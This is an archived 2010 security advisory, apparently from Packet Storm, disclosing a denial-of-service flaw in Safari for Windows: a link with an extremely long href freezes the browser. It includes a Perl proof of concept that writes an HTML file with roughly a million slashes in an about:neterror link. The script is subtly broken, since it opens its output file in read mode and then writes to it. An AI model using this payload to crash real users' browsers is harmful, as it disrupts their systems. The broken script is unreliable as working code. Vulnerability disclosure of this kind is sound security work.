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Safari Long Link Denial Of Service

🗓️ 06 Aug 2010 00:00:00Reported by LostmonType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

Safari Long Link Denial Of Service, vulnerable in Safari 5.0.X and 4.xx on Windows XP sp3 and Windows 7 Ultimat

Code
`############################################  
Safari for windows Long link DoS  
Vendor URL:http://www.apple.com/safari/  
Advisore:http://lostmon.blogspot.com/2010/08/safari-for-windows-long-link-dos.html  
Vendor notified:Yes exploit available: YES  
############################################  
  
Safari is prone vulnerable to Dos with a very long Link...  
This issue is exploitable via web links like <a href="very long URL">  
click here</a> or similar vectors. Safari fails to render the link  
and it turn Frozen resulting in a Denial of service condition.  
  
#################  
Versions Tested  
#################  
  
I have tested this issue in win xp sp3 and a windows 7 fully pached.  
  
Win XP sp3:  
  
Safari 5.0.X vulnerable  
Safari 4.xx vulnerable  
  
windows 7 Ultimate:  
  
Safari 5.0.X vulnerable  
Safari 4.xx vulnerable  
  
############  
References  
############  
  
Discovered: 29-07-2010  
vendor notify:31-07-2010  
Vendor Response:  
Vendor patch:  
  
####################  
Proof Of Concept  
####################  
  
#######################################################################  
#!/usr/bin/perl  
# safari & k-meleon Long "a href" Link DoS  
# Author: Lostmon Lords [email protected] http://lostmon.blogspot.com  
# Safari 5.0.1 ( 7533,17,8) and prior versions Long link DoS  
# generate the file open it with safari wait a seconds  
######################################################################  
  
$archivo = $ARGV[0];  
if(!defined($archivo))  
{  
  
print "Usage: $0 <archivo.html>\n";  
  
}  
  
$cabecera = "<html>" . "\n";  
$payload = "<a href=\"about:neterror?e=connectionFailure&c=" . "/" x  
1028135 . "\">click here if you can :)</a>" . "\n";  
$fin = "</html>";  
  
$datos = $cabecera . $payload . $fin;  
  
open(FILE, '<' . $archivo);  
print FILE $datos;  
close(FILE);  
  
exit;  
  
################## EOF ######################  
  
##############  
Related Links  
##############  
  
vendor bugtracker : http://kmeleon.sourceforge.net/bugs/viewbug.php?bugid=1251  
Posible related Vuln: https://bugzilla.mozilla.org/show_bug.cgi?id=583474  
Test Case : https://bugzilla.mozilla.org/attachment.cgi?id=461776  
  
###################### €nd #############################  
  
Thnx to Phreak for support and let me undestanding the nature of this bug  
thnx to jajoni for test it in windows 7 X64 bits version.  
  
atentamente:  
Lostmon ([email protected])  
Web-Blog: http://lostmon.blogspot.com/  
Google group: http://groups.google.com/group/lostmon (new)  
--  
La curiosidad es lo que hace mover la mente....  
`

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